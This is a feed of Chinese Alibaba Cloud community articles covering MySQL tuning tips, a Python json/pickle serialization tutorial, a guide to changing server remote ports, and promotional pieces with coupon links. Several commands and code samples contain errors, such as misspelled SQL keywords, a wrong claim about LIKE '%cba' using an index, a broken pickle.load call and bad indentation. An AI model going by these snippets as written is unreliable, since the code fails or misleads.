      乘风破浪的阿里云MVP--第13期全球发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云智能总裁张建峰在6月9日阿里云线上峰会上对外展示了阿里云再生长的三大方向:“做深基础”,从飞天云系统操作向下延伸定义硬件;“做厚中台”,将钉钉这样的新型操作系统与阿里云进行深度融合,实现云钉一体;“做强生态”基于云和新型操作系统,构建一个繁荣的应用服务生态。这些方向的引领,离不开阿里云的合作伙伴、离不开我们的生态建设,而阿里云MVP的招募和认证是我们生态建设中不可或缺的一环,这些专家精英在自己熟悉的领域里帮助阿里云积极影响着各行各业的开发者们。

      多人海报.png

      阿里云最有价值专家,简称阿里云 MVP(Most Valuable Professional)
      是积极向上,专注于帮助他人充分了解和使用阿里云技术产品的实践领袖。疫情过后,新基建加速,MVPs与阿里云精准反应,共同协作,不断精进。今天发布13期的全球名单,阿里云充分认可全球的阿里云MVP并对这个温暖的大家庭表示感谢,期待与MVPs一起思考,带领开发者走在世界科技前沿,探索更多的技术真相。

      打破视觉局限,掌握主流技术趋势,此时此刻,我们正在经历的,是一个日益加速的“新秩序时代”因为浪潮不属于逐流者,浪潮只属于对未来保持敏锐、对明天报以观点的人。

      第13期阿里云MVP,共有来自15个国家和地区的31位成功入选,其中缅甸、西班牙、德国、塞尔维亚及哥斯达黎加均为该国首位MVP。内化于心,外化于行,MVPs与阿里云携手共建科技新生态。本期入选MVP平均拥有超过10年的工作经验,覆盖DevOps、AI、大数据、数据库、服务器、云迁移、金融科技等技术与行业领域,厚积科技之力,薄发创新未来,这就是阿里云MVP的风采。

      多人海报.png

      查看更多的阿里云MVP
      MVPs与阿里云一起,在技术建设的道路上不遗余力,不断颠覆。

      阿里云MVP精通多领域技术,愿意主动分享,面向全 世界的开发者和企业,帮助开发者站在巨人肩膀上,帮助企业成为新形态技术顶端的新企业,互联互通,把技术的创造者和使用者链接到一起,构建全球技术新时代

      阿里云和MVPs对全球科技的影响正在继续,更加深刻、快速和广泛,新基建、云计算、IoT、大数据、AI…新技能,新模型,新服务,新应用,新领域,新内容…科技正在创造更多奇迹,继续改变世界。阿里云,阿里云MVP,依然值得期待。
      申请加入阿里云 MVP

      ]]>
      MySQL数据库优化技巧大全-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 MySQL优化三大方向
      ① 优化MySQL所在服务器内核(此优化一般由运维人员完成)。
      ② 对MySQL配置参数进行优化(my.cnf)此优化需要进行压力测试来进行参数调整。
      ③ 对SQL语句以及表优化。
      MySQL参数优化
      1:MySQL 默认的最大连接数为 100,可以在 mysql 客户端使用以下命令查看
      mysql> show variables like 'max_connections';
      2:查看当前访问Mysql的线程
      mysql> show processlist;
      3:设置最大连接数
      mysql>set globle max_connections = 5000;
      最大可设置16384,超过没用
      4:查看当前被使用的connections
      mysql>show globle status like 'max_user_connections'

      申请阿里云服务时,可以使用2000元阿里云代金券,阿里云官网领取网址:https://dashi.aliyun.com/site/yun/youhui (长期有效)

      对MySQL语句性能优化的16条经验
      ① 为查询缓存优化查询
      ② EXPLAIN 我们的SELECT查询(可以查看执行的行数)
      ③ 当只要一行数据时使用LIMIT 1
      ④ 为搜索字段建立索引
      ⑤ 在Join表的时候使用相当类型的列,并将其索引
      ⑥ 千万不要 ORDER BY RAND ()
      ⑦ 避免SELECT *
      ⑧ 永远为每张表设置一个ID
      ⑨ 可以使用ENUM 而不要VARCHAR
      ⑩ 尽可能的使用NOT NULL
      ⑪ 固定长度的表会更快
      ⑫ 垂直分割
      ⑬ 拆分打的DELETE或INSERT语句
      ⑭ 越小的列会越快
      ⑮ 选择正确的存储引擎
      ⑯ 小心 "永久链接"

      阿里云服务器1核2G低至89元/年,阿里云官活动网址:https://dashi.aliyun.com/site/yun/aliyun

      具体描述如下:
      (一) 使用查询缓存优化查询
      大多数的MySQL服务器都开启了查询缓存。这是提高性能最有效的方法之一,而且这是被MySQL引擎处理的。当有很多相同的查询被执行了多次的时候,这些查询结果会被放入一个缓存中,这样后续的相同查询就不用操作而直接访问缓存结果了。
      这里最主要的问题是,对于我们程序员来说,这个事情是很容易被忽略的。因为我们某些查询语句会让MySQL不使用缓存,示例如下:
      1:SELECT username FROM user WHERE  signup_date >= CURDATE()
      2:SELECT username FROM user WHERE  signup_date >= '2014-06-24‘
      上面两条SQL语句的差别就是 CURDATE() ,MySQL的查询缓存对这个函数不起作用。所以,像 NOW() 和 RAND() 或是其它的诸如此类的SQL函数都不会开启查询缓存,因为这些函数的返回是会不定的易变的。所以,你所需要的就是用一个变量来代替MySQL的函数,从而开启缓存。
      (二) 使用EXPLAIN关键字检测查询
      使用EXPLAIN关键字可以使我们知道MySQL是如何处理SQL语句的,这样可以帮助我们分析我们的查询语句或是表结构的性能瓶颈;EXPLAIN的查询结果还会告诉我们索引主键是如何被利用的,数据表是如何被被搜索或排序的....等等。语法格式是:EXPLAIN +SELECT语句;
      SELECT语句.png

      我们可以看到,前一个结果显示搜索了 7883 行,而后一个只是搜索了两个表的 9 和 16 行。查看rows列可以让我们找到潜在的性能问题。
      (三)当只要一行数据时使用LIMIT 1
      加上LIMIT 1可以增加性能。MySQL数据库引擎会在查找到一条数据后停止搜索,而不是继续往后查询下一条符合条件的数据记录。
      (四)为搜索字段建立索引
      索引不一定就是给主键或者是唯一的字段,如果在表中,有某个字段经常用来做搜索,需要将其建立索引。
      索引的有关操作如下:
      1.创建索引
      在执行CREATE TABLE语句时可以创建索引,也可以单独用CREATE INDEX或ALTER TABLE来为表增加索引。
      1.1> ALTER TABLE
      ALTER TABLE 用来创建普通索引、唯一索引、主键索引和全文索引
      ALTER TABLE table_name ADD INDEX index_name (column_list);
      ALTER TABLE table_name ADD UNIQUE (column_list);
      ALTER TABLE table_name ADD PRIMARY KEY (column_list);
      ALTER TABLE table_name ADD FULLTEXT (column_list);
      其中table_name是要增加索引名的表名,column_list指出对哪些列列进行索引,多列时各列之间使用半角逗号隔开。索引名index_name是可选的,如果不指定索引名称,MySQL将根据第一个索引列自动指定索引名称,另外,ALTER TABLE允许在单个语句中更改多个表,因此可以在同时创建多个索引。
      1.2> CREATE INDEX
      CREATE INDEX可对表增加普通索引或UNIQUE索引以及全文索引,但是不可以对表增加主键索引
      CREATE INDEX index_name ON table_name (column_list);
      CREATE UNIQUE index_name ON table_name (column_list);
      CREATE FULLTEXT index_name ON table_name (column_list);
      table_name、index_name和column_list具有与ALTER TABLE语句中相同的含义,索引名必须指定。另外,不能用CREATE INDEX语句创建PRIMARY KEY索引。
      2.索引类型
      普通索引INDEX:适用于name、email等一般属性
      唯一索引UNIQUE:与普通索引类似,不同的是唯一索引要求索引字段值在表中是唯一的,这一点和主键索引类似,但是不同的是,唯一索引允许有空值。唯一索引一般适用于身份证号码、用户账号等不允许有重复的属性字段上。
      主键索引:其实就是主键,一般在建表时就指定了,不需要额外添加。
      全文检索:只适用于VARCHAR和Text类型的字段。
      注意:全文索引和普通索引是有很大区别的,如果建立的是普通索引,一般会使用like进行模糊查询,只会对查询内容前一部分有效,即只对前面不使用通配符的查询有效,如果前后都有通配符,普通索引将不会起作用。对于全文索引而言在查询时有自己独特的匹配方式,例如我们在对一篇文章的标题和内容进行全文索引时:
      ALTER TABLE article ADD FULLTEXT ('title', 'content'); 在进行检索时就需要使用如下的语法进行检索:
      SELECT * FROM article WHERE MATCH('title', 'content') AGAINST ('查询字符串');
      在使用全文检索时的注意事项:
      MySql自带的全文索引只能用于数据库引擎为MYISAM的数据表,如果是其他数据引擎,则全文索引不会生效。此外,MySql自带的全文索引只能对英文进行全文检索,目前无法对中文进行全文检索。如果需要对包含中文在内的文本数据进行全文检索,我们需要采用Sphinx(斯芬克斯)/Coreseek技术来处理中文。另外使用MySql自带的全文索引时,如果查询字符串的长度过短将无法得到期望的搜索结果。MySql全文索引所能找到的词默认最小长度为4个字符。另外,如果查询的字符串包含停止词,那么该停止词将会被忽略。
      3.组合索引
      组合索引又称多列索引,就是建立索引时指定多个字段属性。有点类似于字典目录,比如查询 'guo' 这个拼音的字时,首先查找g字母,然后在g的检索范围内查询第二个字母为u的列表,最后在u的范围内查找最后一个字母为o的字。比如组合索引(a,b,c),abc都是排好序的,在任意一段a的下面b都是排好序的,任何一段b下面c都是排好序的
      组合索引的生效原则是 从前往后依次使用生效,如果中间某个索引没有使用,那么断点前面的索引部分起作用,断点后面的索引没有起作用;
      造成断点的原因:
      前边的任意一个索引没有参与查询,后边的全部不生效。
      前边的任意一个索引字段参与的是范围查询,后面的不会生效。
      断点跟索引字字段在SQL语句中的位置前后无关,只与是否存在有关。在网上找到了很好的示例:
      比如:
      where a=3 and b=45 and c=5 .... #这种三个索引顺序使用中间没有断点,全部发挥作用;
      where a=3 and c=5... #这种情况下b就是断点,a发挥了效果,c没有效果
      where b=3 and c=4... #这种情况下a就是断点,在a后面的索引都没有发挥作用,这种写法联合索引没有发挥任何效果;
      where b=45 and a=3 and c=5 .... #这个跟第一个一样,全部发挥作用,abc只要用上了就行,跟写的顺序无关
      (a,b,c) 三个列上加了联合索引(是联合索引 不是在每个列上单独加索引)而是建立了a,(a,b),(a,b,c)三个索引,另外(a,b,c)多列索引和 (a,c,b)是不一样的。
      具体实例可以说明:
      (0) select * from mytable where a=3 and b=5 and c=4;

      abc三个索引都在where条件里面用到了,而且都发挥了作用
      (1) select * from mytable where c=4 and b=6 and a=3;

      这条语句为了说明 组合索引与在SQL中的位置先后无关,where里面的条件顺序在查询之前会被mysql自动优化,效果跟上一句一样
      (2) select * from mytable where a=3 and c=7;

      a用到索引,b没有用,所以c是没有用到索引效果的
      (3) select * from mytable where a=3 and b>7 and c=3;

      a用到了,b也用到了,c没有用到,这个地方b是范围值,也算断点,只不过自身用到了索引
      (4) select * from mytable where b=3 and c=4;

      因为a索引没有使用,所以这里 bc都没有用上索引效果
      (5) select * from mytable where a>4 and b=7 and c=9;

      a用到了 b没有使用,c没有使用
      (6) select * from mytable where a=3 order by b;

      a用到了索引,b在结果排序中也用到了索引的效果,前面说了,a下面任意一段的b是排好序的
      (7) select * from mytable where a=3 order by c;

      a用到了索引,但是这个地方c没有发挥排序效果,因为中间断点了,使用 explain 可以看到 filesort
      (8) select * from mytable where b=3 order by a;

      b没有用到索引,排序中a也没有发挥索引效果
      注意:在查询时,MYSQL只能使用一个索引,如果建立的是多个单列的普通索引,在查询时会根据查询的索引字段,从中选择一个限制最严格的单例索引进行查询。别的索引都不会生效。
      4.查看索引
      mysql> show index from tblname;
      mysql> show keys from tblname;
      5.删除索引
      删除索引的mysql格式 :DORP INDEX IndexName ON tab_name;
      注意:不能使用索引的情况
      对于普通索引而言 在使用like进行通配符模糊查询时,如果首尾之间都使用了通配符,索引时无效的。
      假设查询内容的关键词为'abc'
      SELECT * FROM tab_name WHERE index_column LIKE 'abc%'; #索引是有效的
      SELECT * FROM tab_name WHERE index_column LIKE '%abc'; #索引是无效的
      SELECT * FROM tab_name WHERE index_column LIKE '%cba'; #索引是有效的
      SELECT * FROM tab_name WHERE index_column LIKE '%abc%'; #索引是无效的
      当检索的字段内容比较大而且检索内容前后部分都不确定的情况下,可以改为全文索引,并使用特定的检索方式。
      (五)在join表的时候使用相当类型的列,并将其索引
      如果在程序中有很多JOIN查询,应该保证两个表中join的字段时被建立过索引的。这样MySQL颞部会启动优化JOIN的SQL语句的机制。注意:这些被用来JOIN的字段,应该是相同类型的。例如:如果要把 DECIMAL 字段和一个 INT 字段Join在一起,MySQL就无法使用它们的索引。对于那些STRING类型,还需要有相同的字符集才行。(两个表的字符集有可能不一样)
      例如:
      SELECT company_name FROM users LEFT JOIN companies ON (users.state = companies.state) WHERE users.id = “user_id”
      两个 state 字段应该是被建过索引的,而且应该是相当的类型,相同的字符集。
      (六)切记不要使用ORDER BY RAND()
      如果你真的想把返回的数据行打乱了,你有N种方法可以达到这个目的。这样使用只让你的数据库的性能呈指数级的下降。这里的问题是:MySQL会不得不去执行RAND()函数(很耗CPU时间),而且这是为了每一行记录去记行,然后再对其排序。就算是你用了Limit 1也无济于事(因为要排序)
      (七)避免使用SELECT *
      从数据库里读出越多的数据,那么查询就会变得越慢。并且,如果我们的数据库服务器和WEB服务器是两台独立的服务器的话,这还会增加网络传输的负载。 所以,我们应该养成一个需要什么就取什么的好的习惯。
      Hibernate性能方面就会差,它不用*,但它将整个表的所有字段全查出来
      优点:开发速度快
      (八)永远为每张表设置一个ID主键
      我们应该为数据库里的每张表都设置一个ID做为其主键,而且最好的是一个INT型的(推荐使用UNSIGNED),并设置上自动增加的 AUTO_INCREMENT标志。 就算是我们 users 表有一个主键叫 “email”的字段,我们也别让它成为主键。使用 VARCHAR 类型来当主键会使用得性能下降。另外,在我们的程序中,我们应该使用表的ID来构造我们的数据结构。 而且,在MySQL数据引擎下,还有一些操作需要使用主键,在这些情况下,主键的性能和设置变得非常重要,比如,集群,分区…… 在这里,只有一个情况是例外,那就是“关联表”的“外键”,也就是说,这个表的主键,通过若干个别的表的主键构成。我们把这个情况叫做“外键”。比如:有一个“学生表”有学生的ID,有一个“课程表”有课程ID,那么,“成绩表”就是“关联表”了,其关联了学生表和课程表,在成绩表中,学生ID和课程ID叫“外键”其共同组成主键。
      (九)使用ENUM而不是VARCHAR
      ENUM 类型是非常快和紧凑的。在实际上,其保存的是 TINYINT,但其外表上显示为字符串。这样一来,用这个字段来做一些选项列表变得相当的完美。 如果我们有一个字段,比如“性别”,“国家”,“民族”,“状态”或“部门”,我们知道这些字段的取值是有限而且固定的,那么,我们应该使用 ENUM 而不是 VARCHAR。
      (十)尽可能的不要赋值为NULL
      如果不是特殊情况,尽可能的不要使用NULL。在MYSQL中对于INT类型而言,EMPTY是0,而NULL是空值。而在Oracle中 NULL和EMPTY的字符串是一样的。NULL也需要占用存储空间,并且会使我们的程序判断时更加复杂。现实情况是很复杂的,依然会有些情况下,我们需要使用NULL值。 下面摘自MySQL自己的文档: “NULL columns require additional space in the row to record whether their values are NULL. For MyISAM tables, each NULL column takes one bit extra, rounded up to the nearest byte.”
      (十一) 固定长度的表会更快
      如果表中的所有字段都是“固定长度”的,整个表会被认为是 “static” 或 “fixed-length”。 例如,表中没有如下类型的字段: VARCHAR,TEXT,BLOB。只要我们包括了其中一个这些字段,那么这个表就不是“固定长度静态表”了,这样,MySQL 引擎会用另一种方法来处理。 固定长度的表会提高性能,因为MySQL搜寻得会更快一些,因为这些固定的长度是很容易计算下一个数据的偏移量的,所以读取的自然也会很快。而如果字段不是定长的,那么,每一次要找下一条的话,需要程序找到主键。 并且,固定长度的表也更容易被缓存和重建。不过,唯一的副作用是,固定长度的字段会浪费一些空间,因为定长的字段无论我们用不用,他都是要分配那么多的空间。另外在取出值的时候要使用trim去除空格
      (十二)垂直分割
      “垂直分割”是一种把数据库中的表按列变成几张表的方法,这样可以降低表的复杂度和字段的数目,从而达到优化的目的。
      (十三)拆分大的DELETE或INSERT
      如果我们需要在一个在线的网站上去执行一个大的 DELETE 或 INSERT 查询,我们需要非常小心,要避免我们的操作让我们的整个网站停止相应。因为这两个操作是会锁表的,表一锁住了,别的操作都进不来了。Apache 会有很多的子进程或线程。所以,其工作起来相当有效率,而我们的服务器也不希望有太多的子进程,线程和数据库链接,这是极大的占服务器资源的事情,尤其是内存。如果我们把我们的表锁上一段时间,比如30秒钟,那么对于一个有很高访问量的站点来说,这30秒所积累的访问进程/线程,数据库链接,打开的文件数,可能不仅仅会让我们的WEB服务Crash,还可能会让我们的整台服务器马上掛了。所以在使用时使用LIMIT 控制数量操作记录的数量。
      (十四)越小的列会越快
      对于大多数的数据库引擎来说,硬盘操作可能是最重大的瓶颈。所以,把我们的数据变得紧凑会对这种情况非常有帮助,因为这减少了对硬盘的访问。 参看 MySQL 的文档 Storage Requirements 查看所有的数据类型。 如果一个表只会有几列罢了(比如说字典表,配置表),那么,我们就没有理由使用 INT 来做主键,使用 MEDIUMINT, SMALLINT 或是更小的 TINYINT 会更经济一些。如果我们不需要记录时间,使用 DATE 要比 DATETIME 好得多。
      (十五)选择正确的存储引擎
      在MYSQL中有两个存储引擎MyISAM和InnoDB,每个引擎都有利有弊。
      MyISAM适合于一些需要大量查询的应用,但是对于大量写操作的支持不是很好。甚至一个update语句就会进行锁表操作,这时读取这张表的所有进程都无法进行操作直至写操作完成。另外MyISAM对于SELECT COUNT(*)这类的计算是超快无比的。InnoDB 的趋势会是一个非常复杂的存储引擎,对于一些小的应用,它会比 MyISAM 还慢。它支持“行锁” ,于是在写操作比较多的时候,会更优秀。并且,他还支持更多的高级应用,比如:事务。
      MyISAM是MYSQL5.5版本以前默认的存储引擎,基于传统的ISAM类型,支持B-Tree,全文检索,但是不是事务安全的,而且不支持外键。不具有原子性。支持锁表。
      InnoDB是事务型引擎,支持ACID事务(实现4种事务隔离机制)、回滚、崩溃恢复能力、行锁。以及提供与Oracle一致的不加锁的读取方式。InnoDB存储它的表和索引在一个表空间中,表空间可以包含多个文件。
      MyISAM和InnoDB比较,如下图所示:
      下图所示.png

      在5.5之后默认的存储引擎是INNODB
      可以单独进行修改也可以在创建表时修改:
      ALTER TABLE tab_name ENGINE INNODB;
      (十六)小心永久链接
      “永久链接”的目的是用来减少重新创建MySQL链接的次数。当一个链接被创建了,它会永远处在连接的状态,就算是数据库操作已经结束了。而且,自从我们的Apache开始重用它的子进程后——也就是说,下一次的HTTP请求会重用Apache的子进程,并重用相同的 MySQL 链接。
      而且,Apache 运行在极端并行的环境中,会创建很多很多的了进程。这就是为什么这种“永久链接”的机制工作地不好的原因。在我们决定要使用“永久链接”之前,我们需要好好地考虑一下我们的整个系统的架构。

      ]]>
      序列化和反序列化-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      序列化和反序列化

      通过⽂件操作,我们可以将字符串写⼊到⼀个本地⽂件。但是,如果是⼀个对象(例如列表、字典、元组等),就⽆法直接写⼊到⼀个⽂件⾥,需要对这个对象进⾏序列化,然后才能写⼊到⽂件⾥。

      设计⼀套协议,按照某种规则,把内存中的数据转换为字节序列,保存到⽂件,这就是序列化,反之,从⽂件的字节序列恢复到内存中,就是反序列化。

      Python中提供了JSON和pickle两个模块⽤来实现数据的序列化和反序列化。

      JSON模块

      JSON(JavaScriptObjectNotation, JS对象简谱)是⼀种轻量级的数据交换格式,它基于 ECMAScript 的⼀个⼦集,采⽤完全独⽴于编程语⾔的⽂本格式来存储和表示数据。JSON的本质是字符串!JSON里要使用双引号表示字符串。

      使⽤JSON实现序列化

      JSON提供了dump和dumps⽅法,将⼀个对象进⾏序列化。
      dumps⽅法的作⽤是把对象转换成为字符串,它本身不具备将数据写⼊到⽂件的功能。

      import json
      
      file = open('names.txt', 'w')
      names = ['zhangsan', 'lisi', 'wangwu', 'jerry', 'henry', 'merry', 'chris']
      # file.write(names) 出错,不能直接将列表写⼊到⽂件⾥
      
      # 可以调⽤ json的dumps⽅法,传⼊⼀个对象参数
      result = json.dumps(names)
      
      # dumps ⽅法得到的结果是⼀个字符串
      print(type(result)) # <class 'str'>
      
      # 可以将字符串写⼊到⽂件⾥
      file.write(result)
      
      file.close()

      dump⽅法可以在将对象转换成为字符串的同时,指定⼀个⽂件对象,把转换后的字符串写⼊到这个⽂件⾥。

      import json
      
      file = open('names.txt', 'w')
      names = ['zhangsan', 'lisi', 'wangwu', 'jerry', 'henry', 'merry', 'chris']
      
      # dump⽅法可以接收⼀个⽂件参数,在将对象转换成为字符串的同时写⼊到⽂件⾥
      json.dump(names, file)
      file.close()

      注意:如果是⼀个空对象,调⽤dumps⽅法转换成为⼀个JSON对象,得到的结果是null(JS⾥的空对象)

      json.dumps(None) # null

      使⽤JSON实现反序列化

      使⽤loads和load⽅法,可以将⼀个JSON字符串反序列化成为⼀个Python对象。

      loads⽅法需要⼀个字符串参数,⽤来将⼀个字符串加载成为Python对象。

      import json
      
      # 调⽤loads⽅法,传⼊⼀个字符串,可以将这个字符串加载成为Python对象
      result = json.loads('["zhangsan", "lisi", "wangwu", "jerry", "henry", "merry", "chris"]')
      print(type(result)) # <class 'list'>

      load⽅法可以传⼊⼀个⽂件对象,⽤来将⼀个⽂件对象⾥的数据加载成为Python对象。

      import json
      
      # 以可读⽅式打开⼀个⽂件
      file = open('names.txt', 'r')
      
      # 调⽤load⽅法,将⽂件⾥的内容加载成为⼀个Python对象
      result = json.load(file)
      
      print(result)
      file.close()

      pickle模块

      和json模块类似,pickle模块也有dump和dumps⽅法可以对数据进⾏序列化,同时也有load和loads⽅法进⾏反序列化。区别在于,json模块是将对象转换成为字符串,⽽pickle模块是将对象转换成为⼆进制。

      pickle模块⾥⽅法的使⽤和json⾥⽅法的使⽤⼤致相同,需要注意的是,pickle是将对象转换成为⼆进制,所以,如果想要把内容写⼊到⽂件⾥,这个⽂件必须要以⼆进制的形式打开。
      序列化
      dumps:将Python数据转化为二进制
      dump:将Python数据转化为二进制,同时保存到指定文件

      反序列化
      loads:将二进制加载成为python数据
      load:读取文件,并将文件的二进制内容加载成为python数据

      import pickle
      
      names = ['张三', '李四', '杰克', '亨利']
      b_names = pickle.dumps(names)
      
      file  = open('names.txt', 'wb')
      file.write(b_names)   # 写入的是二进制
      file.close()
      
      file1 = open('names.txt', 'rb')
      x = file1.read()
      y = pickle.loads(x)
      print(y)
      file1.close()
      
      
      file2 = open('names.txt', 'wb')
      pickle.dump(names, file2)
      file2.close()
      
      
      file3 = open('names.txt', 'rb')
      pickle.load(file3)
      class Dog(object):
          def __init__(self, name, color):
              self.name = name
              self.color = color
      
           def eat(self):
              print(self.name + '正在吃东西')
      
      d = Dog('大黄', '白色')
      
      # 保存到文件里
      pickle.dump(d, open('dog.txt', 'wb'))
      
      # 从文件里加载出来
      dd = pickle.load(d, open('dog.txt', 'rb'))
      dd.eat()  
      
      print(dd.name, dd.color)   # 大黄 白色

      区别

      思考: json和pickle两个模块都可以将对象进⾏序列化和反序列化,那它们有哪些区别,在使⽤场景上⼜该如何选择?

      json模块:

      • 将对象转换成为字符串,不管是在哪种操作系统,哪种编程语⾔⾥,字符串都是可识别的。
      • json就是⽤来在不同平台间传递数据的。
      • 并不是所有的对象都可以直接转换成为⼀个字符串,下标列出了Python对象与json字符串的对应关系。

      image.png

      • 如果是⼀个⾃定义对象,默认⽆法装换成为json字符串,需要⼿动指定JSONEncoder。
      • 如果是将⼀个json串重新转换成为对象,这个对象⾥的⽅法就⽆法使⽤了。
      import json
      
      class MyEncode(json.JSONEncoder):
          def default(self, o):
              # return {"name":o.name,"age":o.age}
              return o.__dict__
      
      class Person(object):
          def __init__(self, name, age):
              self.name = name
              self.age = age
      
          def eat(self):
              print(self.name+'正在吃东⻄')
      
      p1 = Person('zhangsan', 18)
      
      # ⾃定义对象想要转换成为json字符串,需要给这个⾃定义对象指定JSONEncoder
      result = json.dumps(p1, cls=MyEncode)
      print(result) # {"name": "zhangsan", "age": 18}
      
      # 调⽤loads⽅法将对象加载成为⼀个对象以后,得到的结果是⼀个字典
      p = json.loads(result)
      print(type(p))

      pickle模块:

      • pickle序列化是将对象按照⼀定的规则转换成为⼆进制保存,它不能跨平台传递数据。
      • pickle的序列化会将对象的所有数据都保存。

      配套视频

      ]]>
      阿里云服务器如何修改远程端口?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文介绍如何修改 Windows 和 Linux 服务器的默认远程端口。

      修改 Windows 服务器默认远程端口
      本节以 Windows Server 2008 为例介绍如何修改 Windows 服务器默认远程端口。

      远程连接并登录到 Windows 实例。
      运行regedit.exe打开注册表编辑器。
      找到如下注册表子项:HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber
      找到如下.png

      申请阿里云服务时,可以使用2020元阿里云代金券,阿里云官网领取网址:https://dashi.aliyun.com/site/yun/youhui (长期有效)

      在弹出的对话框中,选择十进制,在数值数据中输入新的远程端口号,在本例中即 3399。单击确定。
      在弹出的对.png

      (可选)如果您开启了防火墙,需要将新的端口号添加到防火墙并设置允许连接。
      具体方法参见设置 ECS 实例远程连接防火墙。

      阿里云服务器1核2G低至89元/年,阿里云官活动网址:https://dashi.aliyun.com/site/yun/aliyun

      登录 ECS管理控制台,找到该实例,选择更多 > 重启。
      登录 ECS管理.png

      实例重新启动后,在实例的右侧单击管理,进入实例详情页面。选择本实例安全组。
      实例重新启.png

      在安全组列表页面,找到相应的安全组,单击配置规则。
      在安全组规则页面,单击添加安全组规则。根据实际的使用场景来定义安全规则,允许新配置的远程端口进行连接。关于如何设置安全组参见添加安全组规则。
      在安全组规.png

      以上步骤完成后,远程访问服务器,在远程地址后面添加新远程端口号即可连接实例。例如:192.168.1.2:3399。
      以上步骤完.png

      说明 调整 3389 端口后,使用 Mac 的远程桌面连接客户仅支持默认的 3389 端口。

      修改 Linux 服务器默认远程端口
      本节以 CentOS 6.8 为例介绍如何修改 Linux 服务器默认远程端口。

      说明 不要直接修改 22 端口,先添加需要的默认远程端口。之所以先设置成两个端口,测试成功后再关闭一个端口,是为了防止在修改配置文件及网络调试过程中,万一出现新端口无法连接的情况下,还能通过 22 端口进行登录调试。

      远程连接并登录到 Linux 实例。
      运行 vim /etc/ssh/sshd_config 命令。
      在键盘上按“I”键,进入编辑状态。添加新的远程服务端口,本节以 1022 端口为例。在Port 22下输入Port 1022。
      在键盘上按“Esc”,输入:wq退出编辑状态。
      执行以下命令重启实例,之后您可以通过 22 端口和 1022 端口 SSH 登录到 Linux 实例。
      /etc/init.d/sshd restart

      (可选)配置防火墙。使用 CentOS 7 以前的版本并开启默认防火墙 iptables 时,应注意 iptables 默认不拦截访问,如果您配置了 iptables 规则,需要执行iptables -A INPUT -p tcp --dport 1022 -j ACCEPT配置防火墙。然后执行service iptables restart 重启防火墙。
      说明 CentOS 7 以后版本默认安装 Firewalld。如果您已经启用 firewalld.service,需要放行 TCP 1022 端口:运行命令 firewall-cmd --add-port=1022/tcp --permanent。返回结果为 success 即表示已经放行 TCP 1022 端口。

      登录 ECS管理控制台,找到该实例,选择管理。
      进入实例详情页面。选择本实例安全组。
      进入实例详.png

      在安全组列表页面,找到相应的安全组,单击配置规则。
      在安全组规则页面,单击添加安全组规则。根据实际的使用场景来定义安全规则,允许新配置的远程端口进行连接。关于如何设置安全组参见添加安全组规则。
      使用 SSH 工具连接新端口,来测试是否成功。登录时在 Port 一栏输入新修改的端口号,在本例中即 1022。
      使用 SSH.png

      使用 1022 端口连接成功后,再次运行vim /etc/ssh/sshd_config命令,将 Port 22 删除。
      运行 /etc/init.d/sshd restart 命令重启实例,服务器默认远程端口修改完成。再次登录时使用新端口号登录即可。

      ]]>
      牛客融合阿里云,助您找到心仪好工作-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      “您好,可以听到吗?“
      “……. 您…好,我…这里画面卡顿….了!”
      “…..不好意….思,能重复一下您刚才的描述吗吗吗,没听太清….楚…………..”
      “哎,感觉这次又糊了,这已经是我的第99次了]]> 阿里“去 IOE”十二年,弹性计算如何二次去 I 和 E?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 王坚院士曾讲过一句话让人印象深刻,他说「云计算的本质是服务,如果不能将计算资源规模化、大范围地进行共享,如果不能真正以服务的方式提供,就根本算不上云计算。」众所周知,阿里云是完全经历了从 0 到 1,再到 100 的过程,将计算发挥到极致背后有一个关键的服务,那就是弹性计算。

      阿里云弹性计算是阿里云提供的 IaaS 级别云计算服务,它免去了客户采购 IT 硬件的前期准备,让客户像使用水、电、天然气等公共资源一样便捷、高效地使用计算资源,实现计算资源的即开即用和弹性伸缩。在「CSDN 在线峰会 —— 阿里云核心技术竞争力」上,阿里云研究员蒋林泉(花名:雁杨)深入分享了在众多大规模实践下百炼成钢的弹性计算。

      image.png
      演讲者 | 蒋林泉(雁杨),阿里云研究员

      前言:弹性计算 More than just 虚拟机

      一般而言,大家理解的弹性计算,可能首先会想到是虚拟机、云服务器。

      但弹性计算除了是众所周知的 IaaS 的核心——云服务器 ECS 之外,还是一个完整的产品家族,而不只是虚拟机。

      弹性计算不仅是阿里云的大底座,更是阿里巴巴集团的大底座,能够用强大的性能、稳定性、弹性、效率能力来支撑云上客户和阿里云的云产品。目前,中国 80% 的创新企业都在使用我们的弹性计算产品,更有 99% 的阿里云其他产品是在弹性计算产品之上为客户提供服务。

      image.png

      对于弹性计算而言,我们所承担的角色可从三个切面去看待,即制造商、零售(运营)商和服务商:

      1、制造商负责设计虚拟机/云服务器,以满足客户不同的场景需求;
      2、零售(运营)商负责将这些实例售卖出去,提供按量付费、包年包月、RI 以及抢占式实例等多种付费方式,使得售卖形态更加灵活;

      3、服务商则提供大规模集群部署、运维、迁移和弹性伸缩套件产品,实现客户从 Capex 走向 Opex,让客户能够轻松在时间域和空间域上实现扩容,高效交付、部署和运维大规模云服务器。

      零售商(运营商):资源池化&弹性

      我们先从零售商的角度来理解弹性计算。

      对于零售商而言,需要考虑如何将弹性资源卖出去,如何让客户使用这种池化后的弹性资源。

      零售商主要是让用户的服务器从购买变成租赁形态,可以按照年或者月进行付费,这样更符合客户的使用习惯,阿里云也提供按使用量,甚至是通过竞价闲置资源的方式来进行付费,使得客户可以享受到在线下无法实现的付费方式来节约成本。

      在弹性计算的底层提升供应链效率,进行服务器硬件资源虚拟化以及调度,并且保证非常高的 SLA,来给客户提供弹性能力。

      image.png

      ▐ 狭义弹性:时域维度的弹性

      我们先来讲讲狭义的弹性。所谓狭义弹性就是时域维度的弹性。

      如下图中白色条线,这表示的就是时域的弹性,企业上线新特性、年中促销或者日常促销,甚至是业务发展变化很快,后台的计算能力却往往不能很快跟上。

      image.png

